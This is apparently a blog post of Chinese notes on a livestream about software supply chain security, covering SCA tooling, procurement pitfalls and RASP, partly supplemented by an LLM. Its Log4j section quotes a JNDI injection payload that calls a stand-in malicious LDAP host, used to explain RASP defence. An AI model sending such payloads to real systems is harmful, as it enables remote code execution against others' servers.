“ 你是想卖一辈子糖水,还是想跟我一起去改变世界? ”
~乔布斯，1983
“ 你是想当个网络安全‘装机工’，还是想从源头重塑安全体系？”
~网安同仁，就现在
前几天看了安在直播的软件供应链安全，SCA可堪重用？三位嘉宾眼界明亮，主持人颇有老罗风范，专业性和趣味性都很强。我做了点笔记，大家一起学习进步。
我的感觉是，目前无论是甲方还是乙方的网安从业者，都面临着一个重要的选择：你是想当个网络安全“装机工”，还是想从源头重塑安全体系？——是继续停留在表面的防护，还是深入到体系的重塑？
主持人启发我们反思工作惯性，而嘉宾的观点让我们隐约窥见了在软件源头重塑安全体系的门径。
能力不是可以轻易购买或伪装的商品，而是通过持续学习、刻苦锻炼和实践应用而逐步积累的宝贵资产。让我们以专业、创新和坚韧的精神，挺直脊梁，一起学习进步，共迎挑战。
金句摘抄
1. 网络安全产品市场概况:
"甲方安全管理人员的工作，可以比喻为以前的电脑装机工作，现在则是在组织中'拼装'安全产品体系"
2. 供应链安全的重要性与挑战:
"科技战背景下面，我们要实现软件自主化。虽然软件代码是可以自己编的，但是编程过程当中要用到很多开源的组件，组件的安全风险变成一个新的挑战"
3. 软件组件分析(SCA)技术:
"源码、二进制、运行时SCA共同构成软件供应链开源治理的不同的手段，或者是一个技术路径，需要联动"
4. 供应链安全工具的发展与需求:
"SCA只能满足最低的一个管控要求，单个工具的话，因为每一种安全能力都有自己的强项和劣势，所以我们还是推荐各个工具的综合利用才能发挥最大的作用。"
5. 甲方观点看SCA发展:
"网络安全正在发生重大变化,从早期的'拳套'(可有可无)到'保镖'(阻碍业务),再到未来的'免疫力'(与业务协同)。"
6. 安全厂商视角的SCA发展:
"AI技术带来的变化: 生成式AI可能被用于发现漏洞、执行攻击、制作恶意软件变种等,对传统安全防御体系构成挑战。"
7. 安全产品采购与实施策略:
"前期准备工作要充分,包括漏洞库设计、资产梳理等,这样可以提高后期运营的精准性。"
*以下内容根据会议笔记整理，直播互动环节多，话题跳跃性强，我按照从宏观到微观、从问题到解决方案、从现状到未来趋势重新组织了直播的主题，错误疏漏难免，请以直播视频内容为准，部分口头内容由LLM总结要点，运行时安全有2个部分标注为LLM增补。
- 1 网络安全产品市场概况
- 1.1 中国网络安全产品用户调查报告
- 1.2 安全产品采购的挑战和策略
- 2 供应链安全的重要性与挑战
- 2.1 科技战凸显供应链安全重要性
- 2.2 开源组件风险及管理
- 软件资产的位置
- 供应链防火墙的思路
- 2.3 供应链安全的核心诉求
- 供应链风险治理就是优先级建议
- 代码漏洞如何降噪
- 3 软件组件分析(SCA)技术深度解析
- 3.1 SCA技术概述及其局限性分析
- SCA是入门工具
- 开源SCA
- 3.2 源码、二进制、运行时SCA比较
- 3.3 SCA与代码审计的区别与协同
- 4 运行时应用自我保护RASP技术
- 4.1 运行时安全原理
- 解释型语言
- 编译型语言
- 4.2 有快速整改能力的RASP方案
- 4.3 RASP案例剖析（以Log4j为例）
- 4.4 RASP实施策略
- 4.5 RASP是安全平行切面的一个应用
- 5 供应链安全工具的发展与需求
- 5.1 核心诉求
- 5.2 用户体验
- 5.3 业务影响和平衡
- 6 未来趋势和展望
- 6.1 甲方观点看安全产品演进
- "拳套"→"保镖"→"免疫力"
- 可有可无→阻碍业务→与业务协同)
- 6.2 安全厂商视角的SCA发展
- 6.3 其他
1 网络安全产品市场概况
1.1 中国网络安全产品用户调查报告
安全从业人员，特别是甲方的高级管理人员，应该仔细研究这张图表。安全管理人员的工作，可以比喻为以前的电脑装机工作，现在则是在组织中"拼装"安全产品体系。
【思】拼装能带来什么？带不来安全产业的高质量发展；未来的形态是什么？是厂商群雄争霸？是厂商集中到寡头，还是甲方成长后抛弃一众乙方？
{张威线下解答} 安全产业随着业务变化而变化，业务类型越多，安全产品越杂，未来安全会分化成一个个大板块，比如安全司法，数据交易保护，安全保险等领域。
1.2 SCA的发展概述
SCA技术经历了从手动到自动化,从单一工具到集成解决方案的发展过程,逐渐成为软件开发安全不可或缺的组成部分。
阶段
时间
特点
萌芽期
2000年代初期
• 主要依靠人工手动进行
• 企业开始意识到管理和审计开源组件的重要性
发展期
约2002年左右
• 出现了自动化工具和漏洞数据库
• Black Duck Software公司成立，开发了早期的解决方案和社区
成熟期
2010年代
• SCA工具变得更加成熟和普及多家公司推出SCA工具，如Sonatype、JFrog等
• 2013年OWASP将"使用含有已知漏洞的组件"列入十大安全风险。2019年Gartner将SCA纳入AST应用安全范围
完善期
2020年至今
• SCA工具使用变得更加广泛，成为DevOps工具链的一部分
• 与CI/CD等流程集成，实现自动化持续的安全合规性检查
• 2022年以来，solarwinds/ log4j事件及科技战影响，SCA受到更多关注
1.3 SCA产品采购的挑战和策略
“安全产品采购的坑”
1. 关注产品的高效性和快速响应能力,包括快速发现风险和快速应急处置。
2. 注意误报率,这与漏洞库的全面性和准确性,以及企业自身资产梳理的准确性有关。
3. 需要将各层级资产(网络、组织、业务等)关联起来,才能精准定位风险并高效处置。
4. 关注漏洞库的更新模式是否契合企业需求,是否需要定制。
5. 对于互联网出口管控严格的企业,需考虑如何高效同步云端特征库到本地。
6. 如果与云端打通,要注意保护自身业务数据安全,避免引入新的安全风险。
7. 前期准备工作要充分,包括漏洞库设计、资产梳理等,这样可以提高后期运营的精准性。
8. 部署后还需要关注推动整改等后续工作。这是开发干的事，和安全分析无关。
总的来说,采购前要充分考虑产品的适用性、安全性和可持续运营能力,做好前期准备工作很重要。
2 供应链安全的重要性与挑战
2.1 科技战凸显供应链安全重要性
在科技战的背景下，实现软件自主化成为重要目标。尽管我们能够自主编写软件代码，但在开发过程中仍然依赖大量开源组件。这些开源组件本身存在潜在的安全风险。目前，我们自主开发的许多产品，特别是信息技术创新（信创）领域的产品，仍然广泛使用开源组件。因此，这些组件的安全风险反而成为了一个新的挑战。同时，开源组件的下载和使用次数持续快速增长，已经成为软件开发的主流支撑。
2.2 开源组件风险及管理
软件资产的位置
这些软件存储位置包含了企业的代码仓库、制品仓库、镜像仓库，也怎样去做软件资产的梳理？
【思】还应包括运行环境，配置数据，可观测数据，后续嘉宾都提到了。
供应链防火墙的思路
供应链防火墙的思路旨在通过在企业内部建立一个虚拟的安全检查点，来管控和监督所有进出企业内网的软件组件，从而提高软件供应链的整体安全性。
2.3 供应链安全的核心诉求
供应链风险治理就是优先级建议
【思】上述提法很到位，治理本质上是一个过滤复杂性的问题。
1. 本质问题：
- 过滤复杂性，识别真正需要关注的风险
2. 优先考虑因素：
- 是否有修复方案
- 漏洞是否可利用、可达
- 是否有补丁、缓解配置或热补丁
- 其他工具的交叉检测结果
3. 基本信息分析：
- 漏洞的基本信息（名称、严重程度等）
- 依赖信息
- 临时修复方法
- POC/EXP 可用性
- 补丁包情况
4. 进阶分析：
- 漏洞可达性分析
- 结合代码审计能力
- 分析漏洞可达链路
- 判断漏洞的真实性和可利用性
5. 工具链整合：
- 结合ASTS（应用安全测试工具链）
- 包括白盒、黑盒、运行时交互式灰盒测试
- 与SCA工具结合进行漏洞排序
6. 修复措施评估：
- 组件/中间件升级
- 补丁应用
- 环境配置调整
- 热补丁/运行时插桩
- WAF规则
- 策略管控（白名单、质量门禁等）
7. 供应商风险评估：
- 评估商业采购和开源项目
- 分析自研、采购和开源软件
- 评估补丁包、更新包
- 分析物料清单、源码文件、二进制文件
8. 风险报告生成：
- 包含漏洞信息、许可证信息、敏感信息配置等
- 描绘供应商风险画像
9. 供应链安全管理平台（SCS）：
- 集成各种来源的软件检测和管理
- 支持软件资产测绘和风险分析
- 结合业务环境和外部系统
- 对接态势感知系统
10. 目标：
- 以SCA为核心建立企业级供应链安全管理平台
- 使用SBOM描述和定位资产信息
- 实现风险快速溯源
- 提高漏洞响应效率
- 实现从引入到生成到运行的闭环管理
这种方法旨在通过多维度分析和工具整合，为供应链风险治理提供更精准的优先级建议，从而提高安全管理的效率和有效性。
源码漏洞降噪
供应链安全左侧的漏洞如何降噪减轻运行压力？
1. 利用SCA（软件成分分析）技术：
- 深入分析漏洞信息，包括基本信息（名称、严重等级、修复方法）
- 运营更深层次的漏洞信息（触发条件、POC和EXP可利用性）
- 根据深入信息研判漏洞修复优先级
- 识别漏洞的入口函数和触发函数
2. 结合代码审计：
- 检测自研代码中是否使用了开源项目中的风险代码
3. 工具链联动：
- 结合ASGS（应用安全测试工具链）和SCA
- 判断漏洞引入的阶段和环节
- 评估漏洞的真实性
4. 多维度分析：
- 分析代码中声明的软件与实际构建时引入的软件的差异
- 评估构建引入的软件在运行时是否真正使用
5. 运行时技术：
- 使用运行时分析技术研判软件实际使用情况
6. 多技术融合：
- 综合使用多种ISA（Information Security Architecture）技术手段
- 收敛和分析来自不同层面的数据
7. 针对自研代码：
- 使用AST（抽象语法树）分析
- 应用代码审计
- 结合IST（交互式灰盒测试）和DAST（动态应用程序安全测试）等工具
这些方法综合应用，可以更准确地识别真正的风险，减少误报，从而降低处理压力，提高供应链安全管理的效率。
3 软件组件分析(SCA)技术深度解析
3.1 SCA技术概述及其局限性分析
SCA是入门工具
软件成分分析、许可证漏洞风险、软件的代码的开源比例检测
开源SCA
开源或厂商开放saas产品，有很多局限性，本质上是漏洞库的全面性问题！
【思】能提取特征，查询接口，或能买数据，是否就不需要买产品了？
3.2 源码、二进制、运行时SCA比较
三者共同构成了我们对于软件供应链开源治理的不同的手段，或者是一个技术路径，需要联动
3.3 SCA与代码审计的区别与协同
{llm补充}
1. 分析对象:
- SCA主要分析软件中使用的第三方组件和依赖库
- 代码审计主要分析软件的源代码或反汇编代码
2. 目的:
- SCA旨在识别和管理第三方组件中的已知漏洞和许可证风险
- 代码审计旨在发现自身代码中的安全漏洞、逻辑错误和性能问题
3. 分析方法:
- SCA通常使用自动化工具比对已知漏洞数据库
- 代码审计可能结合自动化工具和人工审查
4. 深度:
- SCA相对表层,主要关注组件版本和已知漏洞
- 代码审计更深入,可以发现未知漏洞和特定于应用的问题
5. 时机:
- SCA可以在开发早期和持续集成过程中频繁进行
- 代码审计通常在重要的开发阶段或发布前进行
6. 技能要求:
- SCA对操作人员的技术要求相对较低
- 代码审计需要更专业的安全知识和编程经验
这两种方法通常是互补的,结合使用可以提供更全面的软件安全保障。需要更多信息或详细解释吗?
4 运行时应用自我保护RASP技术
4.1 运行时安全原理
运行时这个 SCA 是如何实现的啊？
解释型语言
1. 运行时SCA主要通过字节码插桩技术实现,将检测代码注入到应用程序中。
2. 对于解释型语言(如Python、Java),需要在解释器层面埋入探针,监控程序运行过程中加载的第三方组件信息。
3. 通过插桩不仅可以分析组件信息,还可以获取函数调用信息和传递的参数。
4. 这种方式可以实现对开源组件运行时的资产风险盘点和风险攻击应对。
编译型语言
{llm补充}
对于编译型语言(如C/C++),运行时SCA的实现方式与解释型语言略有不同:
1. 二进制插桩:在编译后的二进制文件中插入检测代码。可以使用动态二进制插桩工具(如Pin、DynamoRIO)在程序运行时动态插入检测代码。
2. 动态链接库劫持:替换或劫持程序使用的动态链接库,在库函数调用时执行额外的检测逻辑。
3. 内存注入:在目标进程的内存空间中注入检测代码,实现运行时监控。
4. 系统调用钩子:通过拦截系统调用,监控程序与操作系统的交互,从而分析程序行为。
5. 调试器接口:利用操作系统提供的调试器接口,在程序执行过程中进行断点设置和数据收集。
这些技术允许在编译型语言的程序运行时进行组件信息收集、函数调用监控和行为分析,实现与解释型语言类似的SCA功能。
需要注意的是,编译型语言的运行时SCA实现通常比解释型语言更复杂,可能会对程序性能造成较大影响,因此在实际应用中需要权衡检测的粒度和性能开销。
4.2 有快速整改能力的RASP方案
对于快速修复组件漏洞,RASP(Runtime Application Self-Protection)是一种有效方案。
RASP能够天然形成免疫能力,但对产品要求高,需要插桩和一定的运维能力。
打补丁也是一种方法,但同样对运维技术要求较高。
RASP被认为是云原生领域最好的解决方案,基本无感知且效率最高。
其他方法如升级、打补丁等需要左移,相对较慢且需要开发能力。
4.3 RASP案例剖析（以Log4j为例）
{llm补充}
Log4j漏洞示例:
假设有一个使用Log4j 2.14.1版本的Java Web应用程序,它记录用户输入的数据。攻击者可能会尝试利用以下恶意字符串进行攻击:
```
${jndi:ldap://malicious-server.com/exploit}
```
这个字符串如果被Log4j处理,会触发JNDI注入,从攻击者控制的服务器下载并执行恶意代码。
RASP应对方案(step by step):
1. 部署RASP:
- 选择适合的RASP解决方案,如Contrast Security或Imperva RASP。
- 将RASP agent集成到Java应用程序中,通常通过添加JVM参数实现。
例如: java -javaagent:/path/to/rasp-agent.jar -jar your-application.jar
2. 配置RASP规则:
- 设置规则以检测JNDI查找操作。
- 配置规则以识别可疑的LDAP/RMI URL模式。
3. 运行时监控:
- RASP在应用程序运行时持续监控所有输入和方法调用。
- 当Log4j处理日志消息时,RASP会拦截相关方法调用。
4. 检测攻击:
- RASP检测到含有${jndi:ldap://...}模式的输入。
- RASP识别出这是一个JNDI查找操作,可能导致远程代码执行。
5. 实时防护:
- RASP立即阻止JNDI查找操作的执行。
- 阻止与外部恶意服务器的连接尝试。
6. 无害化处理:
- RASP可能会将可疑输入替换为无害字符串,如"[已过滤]"。
- 允许应用程序继续运行,但不执行危险操作。
7. 告警和日志:
- RASP生成详细的安全事件日志,包括攻击时间、类型和来源。
- 触发告警通知安全团队。
8. 动态更新:
- RASP可以通过云端更新防护规则,以应对新发现的攻击变种。
9. 性能优化:
- RASP持续监控自身对应用性能的影响,并进行必要的优化。
10. 报告和分析:
- 生成攻击趋势报告,帮助团队了解威胁态势。
- 提供建议以进一步加强应用程序安全性。
技术讲解:
RASP通过在Java字节码级别进行插桩,能够监控和控制应用程序的关键操作。对于Log4j漏洞,RASP主要关注以下几点:
1. 字符串解析: RASP监控Log4j的字符串解析过程,识别可能触发JNDI查找的模式。
2. JNDI操作: RASP拦截所有JNDI相关的方法调用,如InitialContext.lookup()。
3. 网络连接: RASP监控网络连接尝试,阻止与未知或恶意服务器的连接。
4. 类加载: RASP监控动态类加载操作,防止加载未经授权的远程类。
5. 上下文分析: RASP考虑调用栈和数据流,区分正常操作和潜在攻击。
通过这种深度防护方法,RASP能够在不修改应用代码或等待补丁的情况下,有效防御Log4j漏洞攻击。同时,它的自适应特性使其能够应对未来可能出现的类似漏洞。
4.4 运行时应用自我保护(RASP)技术的实施策略
1. RASP的必要性:
- RASP技术现在已经比过去成熟很多
- 它能提供高效的运行时保护
2. 实施建议:
- 建议循序渐进实施,不要一步到位
- 先从提高软件成分分析(SCA)能力开始
- 使用交互式应用安全测试(IAST)等动态检测技术
- 进行SCA漏洞可达性和优先级的交叉验证
- 结合自动化渗透测试
3. RASP实施顺序:
- 先在边缘系统实施,再到核心系统
- 这样可以让运营人员逐步适应
4. 注意事项:
- RASP的稳定性需要与业务相关
- 可能会对业务产生一些影响
- 需要谨慎配置以平衡效率和影响
5. 云原生:
虽然原文没有直接提到云原生,但这种循序渐进、从边缘到核心的安全实施策略,与云原生环境的动态特性和微服务架构是契合的。
总的来说,文章强调了在实施RASP时需要采取谨慎和渐进的方法,结合多种安全技术,以确保既能提高安全性,又能降低对业务的影响。
4.5 RASP是安全平行切面的一个应用
{线下请教兜哥:安全平行切面，和RASP有关系么？还是安全平行切面的前身是RASP? 答：RASP是安全平行切面的一个应用}
5 供应链安全工具的发展与需求
SCA只能满足最低的一个管控要求，单个工具的的安全能力都有自己的强项和劣势，所以说是各个工具的综合利用才能发挥最大的作用。
5.1 核心诉求
1. 核心诉求:
工具自身的能力需要这个低误报、更精准、快速反馈
工具要联动，包括安全检测的编排、漏洞的交叉验证、漏洞的优先级
工具的自动化能力，比如说减少人工的干预，能够自动化 AI 提示
现状：单个有提高空间，综合联动比较差。总结的太好了！
2. 厂商的应对:
- 平台实现工具链联动:
- 除SCA外,还有代码审计、IAST、DAST等多种应用安全检测技术
- 通过平台将各种工具进行联动
- AI能力沉淀:
- 结合AI做场景融合
- 智能化漏洞修复推荐
- 智能化漏洞可达性分析
- 一站式安全解决方案:
- 认识到用户希望一站式解决方案,而非多个产品组装
- 强调自身在供应链安全方面的全面能力
总的来说,厂商表示理解用户诉求,并从工具联动、AI应用和一站式解决方案等方面给出了自身的应对措施和优势。
5.2 用户体验
1. 市场现状:
- SCA领域已经有了显著发展，不再是刚起步的阶段。
- 大型企业客户对SCA产品已经相当熟悉，应用范围广泛。
- 市场竞争激烈，客户同时试用多家产品。
2. 未来发展方向:
a) 技术提升:
- 提高源码、二进制、运行时三个技术领域的上限。{怒赞！}
- 提升组件库的准确性。
b) 漏洞库和知识库完善: 【这部分需要买，也可以逆向采集】
- 重视漏洞库和知识库的运营。
- 逐步完善和扩充相关数据。
c) 结合AI技术:
- 智能化识别和分析：利用AI提高组件识别的准确性。
- 自动化风险评估：结合历史漏洞记录、安全公告、社区反馈等多维度数据。
- 智能推荐和自动化修复：AI辅助替换组件、优化代码结构，减轻开发人员负担。
【思】甲方不应该仅仅满足于"搭积木"和"买东西"，甲方也应该在技术发展方面有所思考和参与。
5.3 业务影响和平衡
安全对业务的影响:
1. 安全产品可能会影响业务效率,尤其是开发和运营速度。
2. 实施安全措施可能会导致系统变慢。
3. 发现大量待修复的软件和漏洞会给一线人员带来额外工作负担。
应对策略:
1. 先易后难:先从软件成分分析(SCA)入手,摸清"家底",再考虑全面的工具和漏洞整改。
2. 抓大放小:优先处理互联网资产暴露面的高危和超危漏洞。
3. 步步为营:充分利用现有平台(如CI/CD、DevOps),接入SCA SaaS服务。
4. 采用合规驱动的方式,推荐小步快跑的敏捷模式。
5. 选择最适合企业特点的定制化工具,提高效率。
6. 在选型时要结合自身特点,避免踩坑。
总的来说,建议采取循序渐进的方法,优先处理关键问题,并选择适合企业需求的工具,以平衡安全需求和业务效率。
6 未来趋势和展望
6.1 甲方观点看安全产品演进
"拳套"→"保镖"→"免疫力"
可有可无→阻碍业务→与业务协同)
1. 网络安全正在发生重大变化,从早期的"拳套"(可有可无)到"保镖"(阻碍业务),再到未来的"免疫力"(与业务协同)。
2. 未来的安全应该像人体内的白细胞,能自然地应对威胁而不影响正常业务运作。
3. 开源治理和安全左移很契合,在引入阶段做好安全工作可以避免后续很多麻烦。
4. 有人提出建立官方维护的安全库的想法,但实现起来比较困难。可以考虑多方协作的半开源模式。
5. 开源安全治理的核心是检测机制(规则/算法/引擎),可以应用于各个环节。
6. SCA(软件成分分析)和代码审计虽然都针对源代码,但分别作用于不同阶段。可以在流程中衔接使用。
6.2 安全厂商视角的SCA发展
1. AI技术带来的变化:
- 生成式AI可能被用于发现漏洞、执行攻击、制作恶意软件变种等,对传统安全防御体系构成挑战。
- 安全技术也可以与AI融合,提升防护能力。
2. 开源安全的重要性:
- 需要官方与安全力量合作,建立可信的代码库、组件库、依赖库等。
- 通过可信代码库实现源头治理。
3. 供应链安全面临的挑战:
- 如何保证官方代码库的安全性和责任界定。
- 效率和完全自主可控之间的平衡。
4. 未来发展方向:
- AI与安全技术的深度融合。
- 建立可信代码库和依赖库。
- 加强源头治理。
总的来说,供应链安全面临AI带来的新挑战,需要在开源管理、技术创新和责任机制等方面做出调整和改进。
6.3 其他
1. 安全能力应该从可选(optional)到必选(mandatory),最终成为默认(by default)的关联能力。基础技术应该形成默认的安全检测能力,提高内生安全。
2. 利用AI提高安全检测和治理能力是未来的重要方向。AI可以减少反应时间,提高检测效率,帮助应对海量软件的安全问题。
3. 一些企业正在探索AI在安全领域的应用,包括:
- 利用大模型进行运维降噪
- 构建AI BOM(物料清单)来评估AI模型的安全性
- 利用AI分析漏洞库,实现代码层面的可达性分析
- 尝试用AI辅助自动化修复漏洞
4. 供应链安全是一个重要研究方向,正在进行一些交叉领域的尝试。
5. 虽然一些大厂商在AI安全方面已经做得很好,但对于体量较大的企业来说,仍需要进行更多的探索和实践。
